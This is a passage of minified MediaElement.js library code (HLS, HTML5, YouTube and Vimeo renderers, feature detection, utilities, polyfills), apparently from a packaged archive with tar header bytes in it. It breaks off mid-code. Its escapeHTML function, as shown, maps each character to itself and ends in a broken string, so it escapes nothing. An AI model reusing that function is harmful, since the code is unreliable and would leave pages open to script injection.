t=d.originalNode.src;c.detachMedia(),c.loadSource(t),c.attachMedia(f)}f.addEventListener(e,v)},n=0,r=h.length;n<r;n++)t(h[n]);var l=void 0,s=void 0,i=function(r){a.hasOwnProperty(r)&&c.on(a[r],function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(e,t){if("hlsError"===e&&(console.warn(t),(t=t[1]).fatal))switch(t.type){case"mediaError":var n=(new Date).getTime();if(!l||3e3<n-l)l=(new Date).getTime(),c.recoverMediaError();else if(!s||3e3<n-s)s=(new Date).getTime(),console.warn("Attempting to swap Audio Codec and recover from media error"),c.swapAudioCodec(),c.recoverMediaError();else{var r="Cannot recover, last media error recovery failed";d.generateError(r,f.src),console.error(r)}break;case"networkError":if("manifestLoadError"===t.details)if(m<p&&void 0!==u[m+1])f.setSrc(u[m++].src),f.load(),f.play();else{var a="Network error";d.generateError(a,u),console.error(a)}else{var i="Network error";d.generateError(i,u),console.error(i)}break;default:c.destroy()}else{var o=(0,_.createEvent)(e,d);o.data=t,d.dispatchEvent(o)}}(a[r],t)})};for(var o in a)i(o)},0<p)for(;m<p;m++)if(w.renderer.renderers[a.prefix].canPlayType(u[m].type)){f.setAttribute("src",u[m].src);break}"auto"===t||n||(f.addEventListener("play",function(){null!==c&&c.startLoad()}),f.addEventListener("pause",function(){null!==c&&c.stopLoad()})),f.setAttribute("id",i),e.parentNode.insertBefore(f,e),e.autoplay=!1,e.style.display="none",f.setSize=function(e,t){return f.style.width=e+"px",f.style.height=t+"px",f},f.hide=function(){return f.pause(),f.style.display="none",f},f.show=function(){return f.style.display="",f},f.destroy=function(){null!==c&&(c.stopLoad(),c.destroy())};var g=(0,_.createEvent)("rendererready",f);return d.dispatchEvent(g),d.promises.push(S.load({options:a.hls,id:i})),f}};a.typeChecks.push(function(e){return~e.toLowerCase().indexOf(".m3u8")?"application/x-mpegURL":null}),w.renderer.add(l)},{16:16,17:17,18:18,19:19,3:3,7:7,8:8}],14:[function(e,t,n){"use strict";var r=i(e(3)),g=i(e(2)),y=i(e(7)),E=e(8),b=e(18),a=e(16);function i(e){return e&&e.__esModule?e:{default:e}}var o={name:"html5",options:{prefix:"html5"},canPlayType:function(e){var t=g.default.createElement("video");return a.IS_ANDROID&&/\/mp(3|4)$/i.test(e)||~["application/x-mpegurl","vnd.apple.mpegurl","audio/mpegurl","audio/hls","video/hls"].indexOf(e.toLowerCase())&&a.SUPPORTS_NATIVE_HLS?"yes":t.canPlayType?t.canPlayType(e.toLowerCase()).replace(/no/,""):""},create:function(n,e,t){var r=n.id+"_"+e.prefix,a=!1,i=null;void 0===n.originalNode||null===n.originalNode?(i=g.default.createElement("audio"),n.appendChild(i)):i=n.originalNode,i.setAttribute("id",r);for(var o=y.default.html5media.properties,l=function(t){var e=""+t.substring(0,1).toUpperCase()+t.substring(1);i["get"+e]=function(){return i[t]},i["set"+e]=function(e){-1===y.default.html5media.readOnlyProperties.indexOf(t)&&(i[t]=e)}},s=0,d=o.length;s<d;s++)l(o[s]);for(var u,c=y.default.html5media.events.concat(["click","mouseover","mouseout"]).filter(function(e){return"error"!==e}),f=0,m=c.length;f<m;f++)u=c[f],i.addEventListener(u,function(e){if(a){var t=(0,b.createEvent)(e.type,e.target);n.dispatchEvent(t)}});i.setSize=function(e,t){return i.style.width=e+"px",i.style.height=t+"px",i},i.hide=function(){return a=!1,i.style.display="none",i},i.show=function(){return a=!0,i.style.display="",i};var p=0,h=t.length;if(0<h)for(;p<h;p++)if(E.renderer.renderers[e.prefix].canPlayType(t[p].type)){i.setAttribute("src",t[p].src);break}i.addEventListener("error",function(e){e&&e.target&&e.target.error&&4===e.target.error.code&&a&&(p<h&&void 0!==t[p+1]?(i.src=t[p++].src,i.load(),i.play()):n.generateError("Media error: Format(s) not supported or source(s) not found",t))});var v=(0,b.createEvent)("rendererready",i);return n.dispatchEvent(v),i}};r.default.HtmlMediaElement=y.default.HtmlMediaElement=o,E.renderer.add(o)},{16:16,18:18,2:2,3:3,7:7,8:8}],15:[function(e,t,n){"use strict";var S=o(e(3)),N=o(e(2)),j=o(e(7)),r=e(8),A=e(18),a=e(19),i=e(17);function o(e){return e&&e.__esModule?e:{default:e}}var T={isIframeStarted:!1,isIframeLoaded:!1,iframeQueue:[],enqueueIframe:function(e){T.isLoaded="undefined"!=typeof YT&&YT.loaded,T.isLoaded?T.createIframe(e):(T.loadIframeApi(),T.iframeQueue.push(e))},loadIframeApi:function(){T.isIframeStarted||((0,i.loadScript)("https://www.youtube.com/player_api"),T.isIframeStarted=!0)},iFrameReady:function(){for(T.isLoaded=!0,T.isIframeLoaded=!0;0<T.iframeQueue.length;){var e=T.iframeQueue.pop();T.createIframe(e)}},createIframe:function(e){return new YT.Player(e.containerId,e)},getYouTubeId:function(e){var t="";return 0<e.indexOf("?")?""===(t=T.getYouTubeIdFromParam(e))&&(t=T.getYouTubeIdFromUrl(e)):t=T.getYouTubeIdFromUrl(e),(t=t.substring(t.lastIndexOf("/")+1).split("?"))[0]},getYouTubeIdFromParam:function(e){if(null==e||!e.trim().length)return null;for(var t=e.split("?")[1].split("&"),n="",r=0,a=t.length;r<a;r++){var i=t[r].split("=");if("v"===i[0]){n=i[1];break}}return n},getYouTubeIdFromUrl:function(e){return null!=e&&e.trim().length?(e=e.split("?")[0]).substring(e.lastIndexOf("/")+1):null},getYouTubeNoCookieUrl:function(e){if(null==e||!e.trim().length||-1===e.indexOf("//www.youtube"))return e;var t=e.split("/");return t[2]=t[2].replace(".com","-nocookie.com"),t.join("/")}},l={name:"youtube_iframe",options:{prefix:"youtube_iframe",youtube:{autoplay:0,controls:0,disablekb:1,end:0,loop:0,modestbranding:0,playsinline:0,rel:0,showinfo:0,start:0,iv_load_policy:3,nocookie:!1,imageQuality:null}},canPlayType:function(e){return~["video/youtube","video/x-youtube"].indexOf(e.toLowerCase())},create:function(p,n,r){var h={},v=[],g=null,i=!0,o=!1,y=null;h.options=n,h.id=p.id+"_"+n.prefix,h.mediaElement=p;for(var e=j.default.html5media.properties,t=function(a){var e=""+a.substring(0,1).toUpperCase()+a.substring(1);h["get"+e]=function(){if(null!==g){switch(a){case"currentTime":return g.getCurrentTime();case"duration":return g.getDuration();case"volume":return g.getVolume()/100;case"playbackRate":return g.getPlaybackRate();case"paused":return i;case"ended":return o;case"muted":return g.isMuted();case"buffered":var e=g.getVideoLoadedFraction(),t=g.getDuration();return{start:function(){return 0},end:function(){return e*t},length:1};case"src":return g.getVideoUrl();case"readyState":return 4}return null}return null},h["set"+e]=function(e){if(null!==g)switch(a){case"src":var t="string"==typeof e?e:e[0].src,n=T.getYouTubeId(t);p.originalNode.autoplay?g.loadVideoById(n):g.cueVideoById(n);break;case"currentTime":g.seekTo(e);break;case"muted":e?g.mute():g.unMute(),setTimeout(function(){var e=(0,A.createEvent)("volumechange",h);p.dispatchEvent(e)},50);break;case"volume":e,g.setVolume(100*e),setTimeout(function(){var e=(0,A.createEvent)("volumechange",h);p.dispatchEvent(e)},50);break;case"playbackRate":g.setPlaybackRate(e),setTimeout(function(){var e=(0,A.createEvent)("ratechange",h);p.dispatchEvent(e)},50);break;case"readyState":var r=(0,A.createEvent)("canplay",h);p.dispatchEvent(r)}else v.push({type:"set",propName:a,value:e})}},a=0,l=e.length;a<l;a++)t(e[a]);for(var s=j.default.html5media.methods,d=function(e){h[e]=function(){if(null!==g)switch(e){case"play":return i=!1,g.playVideo();case"pause":return i=!0,g.pauseVideo();case"load":return null}else v.push({type:"call",methodName:e})}},u=0,c=s.length;u<c;u++)d(s[u]);var f=N.default.createElement("div");f.id=h.id,h.options.youtube.nocookie&&(p.originalNode.src=T.getYouTubeNoCookieUrl(r[0].src)),p.originalNode.parentNode.insertBefore(f,p.originalNode),p.originalNode.style.display="none";var m="audio"===p.originalNode.tagName.toLowerCase(),E=m?"1":p.originalNode.height,b=m?"1":p.originalNode.width,w=T.getYouTubeId(r[0].src),_={id:h.id,containerId:f.id,videoId:w,height:E,width:b,playerVars:Object.assign({controls:0,rel:0,disablekb:1,showinfo:0,modestbranding:0,html5:1,iv_load_policy:3},h.options.youtube),origin:S.default.location.host,events:{onReady:function(e){if(p.youTubeApi=g=e.target,p.youTubeState={paused:!0,ended:!1},v.length)for(var t=0,n=v.length;t<n;t++){var r=v[t];if("set"===r.type){var a=r.propName,i=""+a.substring(0,1).toUpperCase()+a.substring(1);h["set"+i](r.value)}else"call"===r.type&&h[r.methodName]()}y=g.getIframe(),p.originalNode.muted&&g.mute();for(var o=["mouseover","mouseout"],l=function(e){var t=(0,A.createEvent)(e.type,h);p.dispatchEvent(t)},s=0,d=o.length;s<d;s++)y.addEventListener(o[s],l,!1);for(var u=["rendererready","loadedmetadata","loadeddata","canplay"],c=0,f=u.length;c<f;c++){var m=(0,A.createEvent)(u[c],h);p.dispatchEvent(m)}},onStateChange:function(e){var t=[];switch(e.data){case-1:t=["loadedmetadata"],i=!0,o=!1;break;case 0:t=["ended"],i=!1,o=!h.options.youtube.loop,h.options.youtube.loop||h.stopInterval();break;case 1:t=["play","playing"],o=i=!1,h.startInterval();break;case 2:t=["pause"],i=!0,o=!1,h.stopInterval();break;case 3:t=["progress"],o=!1;break;case 5:t=["loadeddata","loadedmetadata","canplay"],i=!0,o=!1}for(var n=0,r=t.length;n<r;n++){var a=(0,A.createEvent)(t[n],h);p.dispatchEvent(a)}},onError:function(e){return function(e){var t="";switch(e.data){case 2:t="The request contains an invalid parameter value. Verify that video ID has 11 characters and that contains no invalid characters, such as exclamation points or asterisks.";break;case 5:t="The requested content cannot be played in an HTML5 player or another error related to the HTML5 player has occurred.";break;case 100:t="The video requested was not found. Either video has been removed or has been marked as private.";break;case 101:case 105:t="The owner of the requested video does not allow it to be played in embedded players.";break;default:t="Unknown error."}p.generateError("Code "+e.data+": "+t,r)}(e)}}};return(m||p.originalNode.hasAttribute("playsinline"))&&(_.playerVars.playsinline=1),p.originalNode.controls&&(_.playerVars.controls=1),p.originalNode.autoplay&&(_.playerVars.autoplay=1),p.originalNode.loop&&(_.playerVars.loop=1),(_.playerVars.loop&&1===parseInt(_.playerVars.loop,10)||-1<p.originalNode.src.indexOf("loop="))&&!_.playerVars.playlist&&-1===p.originalNode.src.indexOf("playlist=")&&(_.playerVars.playlist=T.getYouTubeId(p.originalNode.src)),T.enqueueIframe(_),h.onEvent=function(e,t,n){null!=n&&(p.youTubeState=n)},h.setSize=function(e,t){null!==g&&g.setSize(e,t)},h.hide=function(){h.stopInterval(),h.pause(),y&&(y.style.display="none")},h.show=function(){y&&(y.style.display="")},h.destroy=function(){g.destroy()},h.interval=null,h.startInterval=function(){h.interval=setInterval(function(){var e=(0,A.createEvent)("timeupdate",h);p.dispatchEvent(e)},250)},h.stopInterval=function(){h.interval&&clearInterval(h.interval)},h.getPosterUrl=function(){var e=n.youtube.imageQuality,t=T.getYouTubeId(p.originalNode.src);return e&&-1<["default","hqdefault","mqdefault","sddefault","maxresdefault"].indexOf(e)&&t?"https://img.youtube.com/vi/"+t+"/"+e+".jpg":""},h}};S.default.onYouTubePlayerAPIReady=function(){T.iFrameReady()},a.typeChecks.push(function(e){return/\/\/(www\.youtube|youtu\.?be)/i.test(e)?"video/x-youtube":null}),r.renderer.add(l)},{17:17,18:18,19:19,2:2,3:3,7:7,8:8}],16:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.cancelFullScreen=n.requestFullScreen=n.isFullScreen=n.FULLSCREEN_EVENT_NAME=n.HAS_NATIVE_FULLSCREEN_ENABLED=n.HAS_TRUE_NATIVE_FULLSCREEN=n.HAS_IOS_FULLSCREEN=n.HAS_MS_NATIVE_FULLSCREEN=n.HAS_MOZ_NATIVE_FULLSCREEN=n.HAS_WEBKIT_NATIVE_FULLSCREEN=n.HAS_NATIVE_FULLSCREEN=n.SUPPORTS_NATIVE_HLS=n.SUPPORT_PASSIVE_EVENT=n.SUPPORT_POINTER_EVENTS=n.HAS_MSE=n.IS_STOCK_ANDROID=n.IS_SAFARI=n.IS_FIREFOX=n.IS_CHROME=n.IS_EDGE=n.IS_IE=n.IS_ANDROID=n.IS_IOS=n.IS_IPOD=n.IS_IPHONE=n.IS_IPAD=n.UA=n.NAV=void 0;var a=o(e(3)),i=o(e(2)),r=o(e(7));function o(e){return e&&e.__esModule?e:{default:e}}for(var l=n.NAV=a.default.navigator,s=n.UA=l.userAgent.toLowerCase(),d=n.IS_IPAD=/ipad/i.test(s)&&!a.default.MSStream,u=n.IS_IPHONE=/iphone/i.test(s)&&!a.default.MSStream,c=n.IS_IPOD=/ipod/i.test(s)&&!a.default.MSStream,f=(n.IS_IOS=/ipad|iphone|ipod/i.test(s)&&!a.default.MSStream,n.IS_ANDROID=/android/i.test(s)),m=n.IS_IE=/(trident|microsoft)/i.test(l.appName),p=(n.IS_EDGE="msLaunchUri"in l&&!("documentMode"in i.default)),h=n.IS_CHROME=/chrome/i.test(s),v=n.IS_FIREFOX=/firefox/i.test(s),g=n.IS_SAFARI=/safari/i.test(s)&&!h,y=n.IS_STOCK_ANDROID=/^mozilla\/\d+\.\d+\s\(linux;\su;/i.test(s),E=(n.HAS_MSE="MediaSource"in a.default),b=n.SUPPORT_POINTER_EVENTS=function(){var e=i.default.createElement("x"),t=i.default.documentElement,n=a.default.getComputedStyle;if(!("pointerEvents"in e.style))return!1;e.style.pointerEvents="auto",e.style.pointerEvents="x",t.appendChild(e);var r=n&&"auto"===(n(e,"")||{}).pointerEvents;return e.remove(),!!r}(),w=n.SUPPORT_PASSIVE_EVENT=function(){var e=!1;try{var t=Object.defineProperty({},"passive",{get:function(){e=!0}});a.default.addEventListener("test",null,t)}catch(e){}return e}(),_=["source","track","audio","video"],S=void 0,N=0,j=_.length;N<j;N++)S=i.default.createElement(_[N]);var A=n.SUPPORTS_NATIVE_HLS=g||m&&/edge/i.test(s),T=void 0!==S.webkitEnterFullscreen,F=void 0!==S.requestFullscreen;T&&/mac os x 10_5/i.test(s)&&(T=F=!1);var P=void 0!==S.webkitRequestFullScreen,x=void 0!==S.mozRequestFullScreen,L=void 0!==S.msRequestFullscreen,O=P||x||L,C=O,I="",k=void 0,U=void 0,M=void 0;x?C=i.default.mozFullScreenEnabled:L&&(C=i.default.msFullscreenEnabled),h&&(T=!1),O&&(P?I="webkitfullscreenchange":x?I="fullscreenchange":L&&(I="MSFullscreenChange"),n.isFullScreen=k=function(){return x?i.default.mozFullScreen:P?i.default.webkitIsFullScreen:L?null!==i.default.msFullscreenElement:void 0},n.requestFullScreen=U=function(e){P?e.webkitRequestFullScreen():x?e.mozRequestFullScreen():L&&e.msRequestFullscreen()},n.cancelFullScreen=M=function(){P?i.default.webkitCancelFullScreen():x?i.default.mozCancelFullScreen():L&&i.default.msExitFullscreen()});var R=n.HAS_NATIVE_FULLSCREEN=F,V=n.HAS_WEBKIT_NATIVE_FULLSCREEN=P,D=n.HAS_MOZ_NATIVE_FULLSCREEN=x,H=n.HAS_MS_NATIVE_FULLSCREEN=L,q=n.HAS_IOS_FULLSCREEN=T,z=n.HAS_TRUE_NATIVE_FULLSCREEN=O,B=n.HAS_NATIVE_FULLSCREEN_ENABLED=C,Y=n.FULLSCREEN_EVENT_NAME=I;n.isFullScreen=k,n.requestFullScreen=U,n.cancelFullScreen=M,r.default.Features=r.default.Features||{},r.default.Features.isiPad=d,r.default.Features.isiPod=c,r.default.Features.isiPhone=u,r.default.Features.isiOS=r.default.Features.isiPhone||r.default.Features.isiPad,r.default.Features.isAndroid=f,r.default.Features.isIE=m,r.default.Features.isEdge=p,r.default.Features.isChrome=h,r.default.Features.isFirefox=v,r.default.Features.isSafari=g,r.default.Features.isStockAndroid=y,r.default.Features.hasMSE=E,r.default.Features.supportsNativeHLS=A,r.default.Features.supportsPointerEvents=b,r.default.Features.supportsPassiveEvent=w,r.default.Features.hasiOSFullScreen=q,r.default.Features.hasNativeFullscreen=R,r.default.Features.hasWebkitNativeFullScreen=V,r.default.Features.hasMozNativeFullScreen=D,r.default.Features.hasMsNativeFullScreen=H,r.default.Features.hasTrueNativeFullScreen=z,r.default.Features.nativeFullScreenEnabled=B,r.default.Features.fullScreenEventName=Y,r.default.Features.isFullScreen=k,r.default.Features.requestFullScreen=U,r.default.Features.cancelFullScreen=M},{2:2,3:3,7:7}],17:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.removeClass=n.addClass=n.hasClass=void 0,n.loadScript=o,n.offset=l,n.toggleClass=h,n.fadeOut=v,n.fadeIn=g,n.siblings=y,n.visible=E,n.ajax=b;var s=i(e(3)),a=i(e(2)),r=i(e(7));function i(e){return e&&e.__esModule?e:{default:e}}function o(r){return new Promise(function(e,t){var n=a.default.createElement("script");n.src=r,n.async=!0,n.onload=function(){n.remove(),e()},n.onerror=function(){n.remove(),t()},a.default.head.appendChild(n)})}function l(e){var t=e.getBoundingClientRect(),n=s.default.pageXOffset||a.default.documentElement.scrollLeft,r=s.default.pageYOffset||a.default.documentElement.scrollTop;return{top:t.top+r,left:t.left+n}}var d=void 0,u=void 0,c=void 0;"classList"in a.default.documentElement?(d=function(e,t){return void 0!==e.classList&&e.classList.contains(t)},u=function(e,t){return e.classList.add(t)},c=function(e,t){return e.classList.remove(t)}):(d=function(e,t){return new RegExp("\\b"+t+"\\b").test(e.className)},u=function(e,t){f(e,t)||(e.className+=" "+t)},c=function(e,t){e.className=e.className.replace(new RegExp("\\b"+t+"\\b","g"),"")});var f=n.hasClass=d,m=n.addClass=u,p=n.removeClass=c;function h(e,t){f(e,t)?p(e,t):m(e,t)}function v(a){var i=1<arguments.length&&void 0!==arguments[1]?arguments[1]:400,o=arguments[2];a.style.opacity||(a.style.opacity=1);var l=null;s.default.requestAnimationFrame(function e(t){var n=t-(l=l||t),r=parseFloat(1-n/i,2);a.style.opacity=r<0?0:r,i<n?o&&"function"==typeof o&&o():s.default.requestAnimationFrame(e)})}function g(a){var i=1<arguments.length&&void 0!==arguments[1]?arguments[1]:400,o=arguments[2];a.style.opacity||(a.style.opacity=0);var l=null;s.default.requestAnimationFrame(function e(t){var n=t-(l=l||t),r=parseFloat(n/i,2);a.style.opacity=1<r?1:r,i<n?o&&"function"==typeof o&&o():s.default.requestAnimationFrame(e)})}function y(e,t){var n=[];for(e=e.parentNode.firstChild;t&&!t(e)||n.push(e),e=e.nextSibling;);return n}function E(e){return void 0!==e.getClientRects&&"function"===e.getClientRects?!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length):!(!e.offsetWidth&&!e.offsetHeight)}function b(e,t,n,r){var a=s.default.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP"),i="application/x-www-form-urlencoded; charset=UTF-8",o=!1,l="*/".concat("*");switch(t){case"text":i="text/plain";break;case"json":i="application/json, text/javascript";break;case"html":i="text/html";break;case"xml":i="application/xml, text/xml"}"application/x-www-form-urlencoded"!==i&&(l=i+", */*; q=0.01"),a&&(a.open("GET",e,!0),a.setRequestHeader("Accept",l),a.onreadystatechange=function(){if(!o&&4===a.readyState)if(200===a.status){o=!0;var e=void 0;switch(t){case"json":e=JSON.parse(a.responseText);break;case"xml":e=a.responseXML;break;default:e=a.responseText}n(e)}else"function"==typeof r&&r(a.status)},a.send())}r.default.Utils=r.default.Utils||{},r.default.Utils.offset=l,r.default.Utils.hasClass=f,r.default.Utils.addClass=m,r.default.Utils.removeClass=p,r.default.Utils.toggleClass=h,r.default.Utils.fadeIn=g,r.default.Utils.fadeOut=v,r.default.Utils.siblings=y,r.default.Utils.visible=E,r.default.Utils.ajax=b,r.default.Utils.loadScript=o},{2:2,3:3,7:7}],18:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.escapeHTML=o,n.debounce=l,n.isObjectEmpty=s,n.splitEvents=d,n.createEvent=u,n.isNodeAfter=c,n.isString=f;var r,a=e(7),i=(r=a)&&r.__esModule?r:{default:r};function o(e){if("string"!=typeof e)throw new Error("Argument passed must be a string");var t={"&":"&","<":"<",">":">",'"':"""};return e.replace(/[&<>"]/g,function(e){return t[e]})}function l(r,a){var i=this,o=arguments,l=2<arguments.length&&void 0!==arguments[2]&&arguments[2];if("function"!=typeof r)throw new Error("First argument must be a function");if("number"!=typeof a)throw new Error("Second argument must be a numeric value");var s=void 0;return function(){var e=i,t=o,n=l&&!s;clearTimeout(s),s=setTimeout(function(){s=null,l||r.apply(e,t)},a),n&&r.apply(e,t)}}function s(e){return Object.getOwnPropertyNames(e).length<=0}function d(e,n){var r=/^((after|before)print|(before)?unload|hashchange|message|o(ff|n)line|page(hide|show)|popstate|resize|storage)\b/,a={d:[],w:[]};return(e||"").split(" ").forEach(function(e){var t=e+(n?"."+n:"");t.startsWith(".")?(a.d.push(t),a.w.push(t)):a[r.test(e)?"w":"d"].push(t)}),a.d=a.d.join(" "),a.w=a.w.join(" "),a}function u(e,t){if("string"!=typeof e)throw new Error("Event name must be a string");var n=e.match(/([a-z]+\.([a-z]+))/i),r={target:t};return null!==n&&(e=n[1],r.namespace=n[2]),new window.CustomEvent(e,{detail:r})}function c(e,t){return!!(e&&t&&2&e.compareDocumentPosition(t))}function f(e){return"string"==typeof e}i.default.Utils=i.default.Utils||{},i.default.Utils.escapeHTML=o,i.default.Utils.debounce=l,i.default.Utils.isObjectEmpty=s,i.default.Utils.splitEvents=d,i.default.Utils.createEvent=u,i.default.Utils.isNodeAfter=c,i.default.Utils.isString=f},{7:7}],19:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.typeChecks=void 0,n.absolutizeUrl=s,n.formatType=d,n.getMimeFromType=u,n.getTypeFromFile=c,n.getExtension=f,n.normalizeExtension=m;var r,a=e(7),i=(r=a)&&r.__esModule?r:{default:r},o=e(18);var l=n.typeChecks=[];function s(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");var t=document.createElement("div");return t.innerHTML='<a href="'+(0,o.escapeHTML)(e)+'">x</a>',t.firstChild.href}function d(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:"";return e&&!t?c(e):t}function u(e){if("string"!=typeof e)throw new Error("`type` argument must be a string");return e&&-1<e.indexOf(";")?e.substr(0,e.indexOf(";")):e}function c(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");for(var t=0,n=l.length;t<n;t++){var r=l[t](e);if(r)return r}var a=m(f(e)),i="video/mp4";return a&&(~["mp4","m4v","ogg","ogv","webm","flv","mpeg","mov"].indexOf(a)?i="video/"+a:~["mp3","oga","wav","mid","midi"].indexOf(a)&&(i="audio/"+a)),i}function f(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");var t=e.split("?")[0].split("\\").pop().split("/").pop();return~t.indexOf(".")?t.substring(t.lastIndexOf(".")+1):""}function m(e){if("string"!=typeof e)throw new Error("`extension` argument must be a string");switch(e){case"mp4":case"m4v":return"mp4";case"webm":case"webma":case"webmv":return"webm";case"ogg":case"oga":case"ogv":return"ogg";default:return e}}i.default.Utils=i.default.Utils||{},i.default.Utils.typeChecks=l,i.default.Utils.absolutizeUrl=s,i.default.Utils.formatType=d,i.default.Utils.getMimeFromType=u,i.default.Utils.getTypeFromFile=c,i.default.Utils.getExtension=f,i.default.Utils.normalizeExtension=m},{18:18,7:7}],20:[function(e,t,n){"use strict";var r,a=o(e(2)),i=o(e(4));function o(e){return e&&e.__esModule?e:{default:e}}if([Element.prototype,CharacterData.prototype,DocumentType.prototype].forEach(function(e){e.hasOwnProperty("remove")||Object.defineProperty(e,"remove",{configurable:!0,enumerable:!0,writable:!0,value:function(){this.parentNode.removeChild(this)}})}),function(){if("function"==typeof window.CustomEvent)return;function e(e,t){t=t||{bubbles:!1,cancelable:!1,detail:void 0};var n=a.default.createEvent("CustomEvent");return n.initCustomEvent(e,t.bubbles,t.cancelable,t.detail),n}e.prototype=window.Event.prototype,window.CustomEvent=e}(),"function"!=typeof Object.assign&&(Object.assign=function(e){if(null==e)throw new TypeError("Cannot convert undefined or null to object");for(var t=Object(e),n=1,r=arguments.length;n<r;n++){var a=arguments[n];if(null!==a)for(var i in a)Object.prototype.hasOwnProperty.call(a,i)&&(t[i]=a[i])}return t}),String.prototype.startsWith||(String.prototype.startsWith=function(e,t){return t=t||0,this.substr(t,e.length)===e}),Element.prototype.matches||(Element.prototype.matches=Element.prototype.matchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector||Element.prototype.oMatchesSelector||Element.prototype.webkitMatchesSelector||function(e){for(var t=(this.document||this.ownerDocument).querySelectorAll(e),n=t.length-1;0<=--n&&t.item(n)!==this;);return-1<n}),window.Element&&!Element.prototype.closest&&(Element.prototype.closest=function(e){var t=(this.document||this.ownerDocument).querySelectorAll(e),n=void 0,r=this;do{for(n=t.length;0<=--n&&t.item(n)!==r;);}while(n<0&&(r=r.parentElement));return r}),function(){for(var a=0,e=["ms","moz","webkit","o"],t=0;t<e.length&&!window.requestAnimationFrame;++t)window.requestAnimationFrame=window[e[t]+"RequestAnimationFrame"],window.cancelAnimationFrame=window[e[t]+"CancelAnimationFrame"]||window[e[t]+"CancelRequestAnimationFrame"];window.requestAnimationFrame||(window.requestAnimationFrame=function(e){var t=(new Date).getTime(),n=Math.max(0,16-(t-a)),r=window.setTimeout(function(){e(t+n)},n);return a=t+n,r}),window.cancelAnimationFrame||(window.cancelAnimationFrame=function(e){clearTimeout(e)})}(),/firefox/i.test(navigator.userAgent)){var l=window.getComputedStyle;window.getComputedStyle=function(e,t){var n=l(e,t);return null===n?{getPropertyValue:function(){}}:n}}window.Promise||(window.Promise=i.default),(r=window.Node||window.Element)&&r.prototype&&null===r.prototype.children&&Object.defineProperty(r.prototype,"children",{get:function(){for(var e=0,t=void 0,n=this.childNodes,r=[];t=n[e++];)1===t.nodeType&&r.push(t);return r}})},{2:2,4:4}]},{},[20,6,5,9,14,11,10,12,13,15]);�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/mediaelement/renderers/vimeo.min.js��������������������������������������������������������������0000644�����������������00000014500�14717703502�0014047 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * MediaElement.js * http://www.mediaelementjs.com/ * * Wrapper that mimics native HTML5 MediaElement (audio and video) * using a variety of technologies (pure JavaScript, Flash, iframe) * * Copyright 2010-2017, John Dyer (http://j.hn/) * License: MIT * */ !function a(o,s,u){function c(n,e){if(!s[n]){if(!o[n]){var t="function"==typeof require&&require;if(!e&&t)return t(n,!0);if(l)return l(n,!0);var r=new Error("Cannot find module '"+n+"'");throw r.code="MODULE_NOT_FOUND",r}var i=s[n]={exports:{}};o[n][0].call(i.exports,function(e){var t=o[n][1][e];return c(t||e)},i,i.exports,a,o,s,u)}return s[n].exports}for(var l="function"==typeof require&&require,e=0;e<u.length;e++)c(u[e]);return c}({1:[function(e,t,n){"use strict";var T={promise:null,load:function(e){"undefined"!=typeof Vimeo?T._createPlayer(e):(T.promise=T.promise||mejs.Utils.loadScript("https://player.vimeo.com/api/player.js"),T.promise.then(function(){T._createPlayer(e)}))},_createPlayer:function(e){var t=new Vimeo.Player(e.iframe);window["__ready__"+e.id](t)},getVimeoId:function(e){if(null==e)return null;var t=(e=e.split("?")[0]).match(/https:\/\/player.vimeo.com\/video\/(\d+)$/);if(t)return parseInt(t[1],10);var n=e.match(/https:\/\/vimeo.com\/(\d+)$/);if(n)return parseInt(n[1],10);var r=e.match(/https:\/\/vimeo.com\/(\d+)\/\w+$/);return r?parseInt(r[1],10):NaN}},r={name:"vimeo_iframe",options:{prefix:"vimeo_iframe"},canPlayType:function(e){return~["video/vimeo","video/x-vimeo"].indexOf(e.toLowerCase())},create:function(f,e,t){var v=[],h={},y=!0,g=1,a=g,E=0,j=0,U=!1,b=0,w=null,n="";h.options=e,h.id=f.id+"_"+e.prefix,h.mediaElement=f;for(var N=function(e){f.generateError("Code "+e.name+": "+e.message,t)},r=mejs.html5media.properties,i=function(i){var e=""+i.substring(0,1).toUpperCase()+i.substring(1);h["get"+e]=function(){if(null!==w){switch(i){case"currentTime":return E;case"duration":return b;case"volume":return g;case"muted":return 0===g;case"paused":return y;case"ended":return U;case"src":return w.getVideoUrl().then(function(e){n=e}).catch(function(e){return N(e)}),n;case"buffered":return{start:function(){return 0},end:function(){return j*b},length:1};case"readyState":return 4}return null}return null},h["set"+e]=function(e){if(null!==w)switch(i){case"src":var t="string"==typeof e?e:e[0].src,n=T.getVimeoId(t);w.loadVideo(n).then(function(){f.originalNode.autoplay&&w.play()}).catch(function(e){return N(e)});break;case"currentTime":w.setCurrentTime(e).then(function(){E=e,setTimeout(function(){var e=mejs.Utils.createEvent("timeupdate",h);f.dispatchEvent(e)},50)}).catch(function(e){return N(e)});break;case"volume":w.setVolume(e).then(function(){a=g=e,setTimeout(function(){var e=mejs.Utils.createEvent("volumechange",h);f.dispatchEvent(e)},50)}).catch(function(e){return N(e)});break;case"loop":w.setLoop(e).catch(function(e){return N(e)});break;case"muted":e?w.setVolume(0).then(function(){g=0,setTimeout(function(){var e=mejs.Utils.createEvent("volumechange",h);f.dispatchEvent(e)},50)}).catch(function(e){return N(e)}):w.setVolume(a).then(function(){g=a,setTimeout(function(){var e=mejs.Utils.createEvent("volumechange",h);f.dispatchEvent(e)},50)}).catch(function(e){return N(e)});break;case"readyState":var r=mejs.Utils.createEvent("canplay",h);f.dispatchEvent(r)}else v.push({type:"set",propName:i,value:e})}},o=0,s=r.length;o<s;o++)i(r[o]);for(var u=mejs.html5media.methods,c=function(e){h[e]=function(){if(null!==w)switch(e){case"play":return y=!1,w.play();case"pause":return y=!0,w.pause();case"load":return null}else 